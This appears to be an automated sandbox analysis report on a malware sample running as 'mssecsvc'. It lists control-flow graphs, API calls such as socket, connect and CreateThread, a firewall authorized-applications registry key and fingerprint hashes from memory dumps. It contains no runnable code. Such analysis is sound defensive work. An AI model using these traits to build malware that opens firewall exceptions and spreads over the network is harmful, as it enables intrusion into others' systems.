lstrlen 482->485 487 a84254-a8425a 484->487 488 a84005-a8400c 484->488 485->484 485->485 487->477 491 a84012-a84031 socket 488->491 489->491 490->476 492 a84216-a8421d 490->492 491->490 495 a84037-a8404a connect 491->495 493 a8421f-a8422b SetEvent 492->493 494 a84231-a8424f Sleep ResetEvent 492->494 493->494 494->477 496 a84050-a84129 call a8273c call a82750 GetVersionExA call a82750 call a832f0 call a84109 wsprintfA call a832f0 495->496 497 a84206-a84207 closesocket 495->497 512 a8412b-a84141 CreateThread CloseHandle 496->512 513 a84147 496->513 497->490 512->513 514 a8414d-a84163 513->514 514->497 516 a84169-a8416b 514->516 517 a8416d-a84185 516->517 518 a8418a-a84192 517->518 519 a84187 517->519 518->517 520 a84194 518->520 519->518 521 a8419a-a8419e 520->521 522 a841b0-a841b2 521->522 523 a841a0-a841a7 call a82f08 521->523 524 a841b4-a841be 522->524 523->497 529 a841a9 523->529 526 a841c3-a841d1 call a86480 call a8649a 524->526 526->514 534 a841d7-a841e1 Sleep 526->534 529->524 531 a841ab-a841ae 529->531 531->521 534->526 535 a841e3-a841f4 GetTickCount 534->535 535->514 536 a841fa-a84201 535->536 536->497 536->514
                                                                                                                                                                APIs
                                                                                                                                                                • GetWindowsDirectoryA.KERNEL32(C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe,00000104), ref: 00A83C39
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00000002), ref: 00A83C6C
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00A83CD9), ref: 00A83CE4
                                                                                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00A83CF7
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00A83D2B
                                                                                                                                                                • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00A86E36,00000000,00000000,00000000,00000000), ref: 00A83DFD
                                                                                                                                                                Strings
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 00A83CF6
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00A83EA4
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 00A83C38, 00A83C9E, 00A83CAE, 00A84119, 00A84158
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressProc$CountDirectoryInformationLibraryLoadTickVolumeWindows
                                                                                                                                                                • String ID: ADVAPI32.DLL$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 3969011833-3720148365
                                                                                                                                                                • Opcode ID: 0127917151eed065e127e5366a429f94f8c991bdb88d709ddc56744e5b987194
                                                                                                                                                                • Instruction ID: 639575ae99b76cb3de80c399d321c256e8ba55097a49e7a018cf01c9021835d6
                                                                                                                                                                • Opcode Fuzzy Hash: 0127917151eed065e127e5366a429f94f8c991bdb88d709ddc56744e5b987194
                                                                                                                                                                • Instruction Fuzzy Hash: C8F1E372519259BEDF25BF24CC4ABEA3BACEF42700F040519EC499F082D6F45F4987A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA3C5A Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 417libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 537 7fea3c5a-7fea3c62 GetModuleHandleA 538 7fea3c78-7fea3d58 call 7fea3c88 GetSystemDirectoryA call 7fea3cb7 call 7fea3cce GetProcAddress LoadLibraryA call 7fea10ce call 7fea01cb GetTickCount call 7fea3b0e 537->538 539 7fea3c64-7fea3c66 537->539 558 7fea3d5a 538->558 559 7fea3d60-7fea3d65 call 7fea3b0e 538->559 540 7fea3c6c-7fea3c74 GetProcAddress 539->540 541 7fea3c67 call 7fea26d4 539->541 540->538 544 7fea3c76 540->544 541->540 544->538 558->559 562 7fea3d67-7fea3d7e 559->562 563 7fea3d80-7fea3d90 call 7fea62df call 7fea273c 562->563 568 7fea3d92-7fea3d94 563->568 569 7fea3d96-7fea3db2 call 7fea62df 563->569 571 7fea3db3-7fea3db4 568->571 569->571 571->563 573 7fea3db6-7fea3dbc 571->573 573->562 574 7fea3dbe-7fea3dc8 call 7fea273c 573->574 577 7fea3dca-7fea3dd2 call 7fea2750 574->577 578 7fea3dd7-7fea3e10 call 7fea273c GetVolumeInformationA 574->578 577->578 582 7fea3e1a-7fea3e20 578->582 583 7fea3e12-7fea3e18 578->583 584 7fea3e29-7fea3e36 582->584 585 7fea3e22 582->585 583->584 586 7fea3e3c-7fea3e60 call 7fea3e4d 584->586 587 7fea3ebd 584->587 585->584 588 7fea3ec7 586->588 596 7fea3e62-7fea3e68 586->596 587->588 590 7fea3ec9-7fea3ee1 CreateThread CloseHandle 588->590 591 7fea3ee7-7fea3f54 call 7fea3ef8 call 7fea10ce call 7fea3f27 call 7fea10ce 588->591 590->591 610 7fea3f5a-7fea3f9d WSAStartup CreateThread CloseHandle CreateEventA 591->610 611 7fea425f-7fea4261 RtlExitUserThread 591->611 598 7fea3e6a-7fea3e6f 596->598 599 7fea3e91-7fea3ea5 596->599 601 7fea3e98-7fea3ea5 598->601 602 7fea3e71-7fea3e90 598->602 604 7fea3eac-7fea3eb6 599->604 601->604 602->599 604->587 606 7fea3eb8 call 7fea339d 604->606 606->587 612 7fea3fa3-7fea3fbb call 7fea3792 610->612 615 7fea3fbd-7fea3fc0 612->615 616 7fea3fc2-7fea3fd5 call 7fea3b28 612->616 615->616 617 7fea3fdd-7fea3fe5 615->617 624 7fea3fdb 616->624 625 7fea420d-7fea4214 616->625 619 7fea3ff6-7fea3fff gethostbyname 617->619 620 7fea3fe7-7fea3ff4 lstrlen 617->620 622 7fea4254-7fea425a 619->622 623 7fea4005-7fea400c 619->623 620->619 620->620 622->612 627 7fea4012-7fea4031 socket 623->627 624->627 625->611 626 7fea4216-7fea421d 625->626 628 7fea421f-7fea422b SetEvent 626->628 629 7fea4231-7fea424f Sleep ResetEvent 626->629 627->625 630 7fea4037-7fea404a connect 627->630 628->629 629->612 631 7fea4050-7fea4129 call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea32f0 call 7fea4109 wsprintfA call 7fea32f0 630->631 632 7fea4206-7fea4207 closesocket 630->632 647 7fea412b-7fea4141 CreateThread CloseHandle 631->647 648 7fea4147 631->648 632->625 647->648 649 7fea414d-7fea4163 648->649 649->632 651 7fea4169-7fea416b 649->651 652 7fea416d-7fea4185 651->652 653 7fea418a-7fea4192 652->653 654 7fea4187 652->654 653->652 655 7fea4194 653->655 654->653 656 7fea419a-7fea419e 655->656 657 7fea41b0-7fea41b2 656->657 658 7fea41a0-7fea41a7 call 7fea2f08 656->658 660 7fea41b4-7fea41be 657->660 658->632 664 7fea41a9 658->664 661 7fea41c3-7fea41d1 call 7fea6480 call 7fea649a 660->661 661->649 669 7fea41d7-7fea41e1 Sleep 661->669 664->660 666 7fea41ab-7fea41ae 664->666 666->656 669->661 670 7fea41e3-7fea41f4 GetTickCount 669->670 670->649 671 7fea41fa-7fea4201 670->671 671->632 671->649
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(7FEA3C52), ref: 7FEA3C5A
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00000002), ref: 7FEA3C6C
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,7FEA3CD9), ref: 7FEA3CE4
                                                                                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3CF7
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 7FEA3D2B
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 7FEA3CAE, 7FEA4119, 7FEA4158
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 7FEA3CF6
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3EA4
                                                                                                                                                                • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA4157
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressProc$CountHandleLibraryLoadModuleTick
                                                                                                                                                                • String ID: ADVAPI32.DLL$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                                                                                                                                                                • API String ID: 2837544101-3386162911
                                                                                                                                                                • Opcode ID: 027acb289342bb118d02a87de8172ec9d27ea8879ecf6df1c79d6d68dda35319
                                                                                                                                                                • Instruction ID: 5a25107989713debb64ec6711dd094ee3109f09e8278f9dd4288a618bb6666d3
                                                                                                                                                                • Opcode Fuzzy Hash: 027acb289342bb118d02a87de8172ec9d27ea8879ecf6df1c79d6d68dda35319
                                                                                                                                                                • Instruction Fuzzy Hash: 24E10671519348BEDB229F34CC5ABFA7BACEF42300F00455AEC559E081DAF65F0587A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA3C88 Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 394COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(7FEA3C7D), ref: 7FEA3C88
                                                                                                                                                                • GetSystemDirectoryA.KERNEL32(C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe,00000104), ref: 7FEA3C9F
                                                                                                                                                                  • Part of subcall function 7FEA3CB7: lstrcat.KERNEL32(C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe,7FEA3CAA), ref: 7FEA3CB8
                                                                                                                                                                  • Part of subcall function 7FEA3CB7: GetProcAddress.KERNEL32(00000000,7FEA3CD9), ref: 7FEA3CE4
                                                                                                                                                                  • Part of subcall function 7FEA3CB7: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3CF7
                                                                                                                                                                  • Part of subcall function 7FEA3CB7: GetTickCount.KERNEL32 ref: 7FEA3D2B
                                                                                                                                                                  • Part of subcall function 7FEA3CB7: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6E36,00000000,00000000,00000000,00000000), ref: 7FEA3DFD
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 7FEA3C9E, 7FEA3CAE, 7FEA4119, 7FEA4158
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 7FEA3CF6
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3EA4
                                                                                                                                                                • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA4157
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressCountDirectoryHandleInformationLibraryLoadModuleProcSystemTickVolumelstrcat
                                                                                                                                                                • String ID: ADVAPI32.DLL$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                                                                                                                                                                • API String ID: 215653160-3386162911
                                                                                                                                                                • Opcode ID: 655e1f48a5b14d5ebf2e49081fd326607dd54f27207fd34772f1e266f9ded85e
                                                                                                                                                                • Instruction ID: aeaaef09d323b934acf6576f031b8d72fc496fbf9d0374d28b6ab2dc06a08c56
                                                                                                                                                                • Opcode Fuzzy Hash: 655e1f48a5b14d5ebf2e49081fd326607dd54f27207fd34772f1e266f9ded85e
                                                                                                                                                                • Instruction Fuzzy Hash: 71D1E671519348BEDB229F30CC5ABFA7BACEF42300F00455AEC559E091D6F65F058766
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A83C5A Relevance: 37.2, APIs: 18, Strings: 3, Instructions: 417libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(00A83C52), ref: 00A83C5A
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00000002), ref: 00A83C6C
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00A83CD9), ref: 00A83CE4
                                                                                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00A83CF7
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00A83D2B
                                                                                                                                                                Strings
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 00A83CF6
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00A83EA4
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 00A83CAE, 00A84119, 00A84158
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressProc$CountHandleLibraryLoadModuleTick
                                                                                                                                                                • String ID: ADVAPI32.DLL$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 2837544101-3720148365
                                                                                                                                                                • Opcode ID: d0d806061f4903ddb0f4a5261a7a02880b94df6096a82115ba225c6c1d707226
                                                                                                                                                                • Instruction ID: 852424b386833dda75e5eb7ba27cfe9a1355549f14707f17679c70fee38f2e63
                                                                                                                                                                • Opcode Fuzzy Hash: d0d806061f4903ddb0f4a5261a7a02880b94df6096a82115ba225c6c1d707226
                                                                                                                                                                • Instruction Fuzzy Hash: 02E11672519249BEEF25BF24CC4ABEA3BACEF41700F040619EC459E082D6F49F4587A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A83C88 Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 394COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(00A83C7D), ref: 00A83C88
                                                                                                                                                                • GetSystemDirectoryA.KERNEL32(C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe,00000104), ref: 00A83C9F
                                                                                                                                                                  • Part of subcall function 00A83CB7: lstrcat.KERNEL32(C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe,00A83CAA), ref: 00A83CB8
                                                                                                                                                                  • Part of subcall function 00A83CB7: GetProcAddress.KERNEL32(00000000,00A83CD9), ref: 00A83CE4
                                                                                                                                                                  • Part of subcall function 00A83CB7: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00A83CF7
                                                                                                                                                                  • Part of subcall function 00A83CB7: GetTickCount.KERNEL32 ref: 00A83D2B
                                                                                                                                                                  • Part of subcall function 00A83CB7: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00A86E36,00000000,00000000,00000000,00000000), ref: 00A83DFD
                                                                                                                                                                Strings
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 00A83CF6
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00A83EA4
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 00A83C9E, 00A83CAE, 00A84119, 00A84158
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressCountDirectoryHandleInformationLibraryLoadModuleProcSystemTickVolumelstrcat
                                                                                                                                                                • String ID: ADVAPI32.DLL$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 215653160-3720148365
                                                                                                                                                                • Opcode ID: 811d4d538aac65d06a7f5763d17b41f2f935b35242c309c7039619bb6c991453
                                                                                                                                                                • Instruction ID: 8d5725c03073dfac750376b305c94d5043ed1dcbd00dc8c76ad02c7f23cd5702
                                                                                                                                                                • Opcode Fuzzy Hash: 811d4d538aac65d06a7f5763d17b41f2f935b35242c309c7039619bb6c991453
                                                                                                                                                                • Instruction Fuzzy Hash: 4CD10572519259BFEF25BF24CC4ABEA3BACEF41700F000619EC499E082D6F45F4587A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA3CB7 Relevance: 37.1, APIs: 17, Strings: 4, Instructions: 374stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • lstrcat.KERNEL32(C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe,7FEA3CAA), ref: 7FEA3CB8
                                                                                                                                                                  • Part of subcall function 7FEA3CCE: LoadLibraryA.KERNEL32(7FEA3CC3), ref: 7FEA3CCE
                                                                                                                                                                  • Part of subcall function 7FEA3CCE: GetProcAddress.KERNEL32(00000000,7FEA3CD9), ref: 7FEA3CE4
                                                                                                                                                                  • Part of subcall function 7FEA3CCE: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3CF7
                                                                                                                                                                  • Part of subcall function 7FEA3CCE: GetTickCount.KERNEL32 ref: 7FEA3D2B
                                                                                                                                                                  • Part of subcall function 7FEA3CCE: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6E36,00000000,00000000,00000000,00000000), ref: 7FEA3DFD
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 7FEA3CB7, 7FEA4119, 7FEA4158
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 7FEA3CF6
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3EA4
                                                                                                                                                                • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA4157
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LibraryLoad$AddressCountInformationProcTickVolumelstrcat
                                                                                                                                                                • String ID: ADVAPI32.DLL$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                                                                                                                                                                • API String ID: 2038497427-3386162911
                                                                                                                                                                • Opcode ID: 6015bc910092ae8f3cfbb4603391d7f6777f93900d010c705f53bc10b9c9ab02
                                                                                                                                                                • Instruction ID: e965e319ca092c4b75a0ff691012f0174cc64fcd4b44b9f7ff1122fc9856030a
                                                                                                                                                                • Opcode Fuzzy Hash: 6015bc910092ae8f3cfbb4603391d7f6777f93900d010c705f53bc10b9c9ab02
                                                                                                                                                                • Instruction Fuzzy Hash: C8D10571519348BEDB229F34CC4ABFA7BACEF42300F00455AEC599E091DAF66F058766
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA3CCE Relevance: 37.1, APIs: 17, Strings: 4, Instructions: 364libraryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(7FEA3CC3), ref: 7FEA3CCE
                                                                                                                                                                  • Part of subcall function 7FEA3CE3: GetProcAddress.KERNEL32(00000000,7FEA3CD9), ref: 7FEA3CE4
                                                                                                                                                                  • Part of subcall function 7FEA3CE3: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3CF7
                                                                                                                                                                  • Part of subcall function 7FEA3CE3: GetTickCount.KERNEL32 ref: 7FEA3D2B
                                                                                                                                                                  • Part of subcall function 7FEA3CE3: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6E36,00000000,00000000,00000000,00000000), ref: 7FEA3DFD
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 7FEA4119, 7FEA4158
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 7FEA3CF6
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3EA4
                                                                                                                                                                • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA4157
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LibraryLoad$AddressCountInformationProcTickVolume
                                                                                                                                                                • String ID: ADVAPI32.DLL$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                                                                                                                                                                • API String ID: 3734769084-3386162911
                                                                                                                                                                • Opcode ID: 2493f2ca0a9d17d60b0ae92595658eb790e1a8e0bd0394b2349fd16cbfe48cab
                                                                                                                                                                • Instruction ID: 347449e041cf090d5cde17e7f90b40bb8426bab528207790e0da05e8a845151b
                                                                                                                                                                • Opcode Fuzzy Hash: 2493f2ca0a9d17d60b0ae92595658eb790e1a8e0bd0394b2349fd16cbfe48cab
                                                                                                                                                                • Instruction Fuzzy Hash: 0DD1067151A348BEDB229F34CC5ABFA7BACEF41300F00055AEC5A9E091DAF66F058765
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A83CB7 Relevance: 35.4, APIs: 17, Strings: 3, Instructions: 374stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • lstrcat.KERNEL32(C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe,00A83CAA), ref: 00A83CB8
                                                                                                                                                                  • Part of subcall function 00A83CCE: LoadLibraryA.KERNEL32(00A83CC3), ref: 00A83CCE
                                                                                                                                                                  • Part of subcall function 00A83CCE: GetProcAddress.KERNEL32(00000000,00A83CD9), ref: 00A83CE4
                                                                                                                                                                  • Part of subcall function 00A83CCE: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00A83CF7
                                                                                                                                                                  • Part of subcall function 00A83CCE: GetTickCount.KERNEL32 ref: 00A83D2B
                                                                                                                                                                  • Part of subcall function 00A83CCE: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00A86E36,00000000,00000000,00000000,00000000), ref: 00A83DFD
                                                                                                                                                                Strings
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 00A83CF6
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00A83EA4
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 00A83CB7, 00A84119, 00A84158
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LibraryLoad$AddressCountInformationProcTickVolumelstrcat
                                                                                                                                                                • String ID: ADVAPI32.DLL$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 2038497427-3720148365
                                                                                                                                                                • Opcode ID: e60a8739b66c69eeb1bff123fd8d0967aa4dd58d99f63d660792232ed15f4144
                                                                                                                                                                • Instruction ID: 4e3e8d5e9e9be83230e58be109b3b9d5f3421c3b831f9861eff4226f32dee248
                                                                                                                                                                • Opcode Fuzzy Hash: e60a8739b66c69eeb1bff123fd8d0967aa4dd58d99f63d660792232ed15f4144
                                                                                                                                                                • Instruction Fuzzy Hash: 7ED10372519259BEEF25BF24CC0ABEA3BACEF41700F000659EC499E082D6F45F4587A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA3CE3 Relevance: 35.4, APIs: 16, Strings: 4, Instructions: 371networklibrarythreadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,7FEA3CD9), ref: 7FEA3CE4
                                                                                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3CF7
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 7FEA3D2B
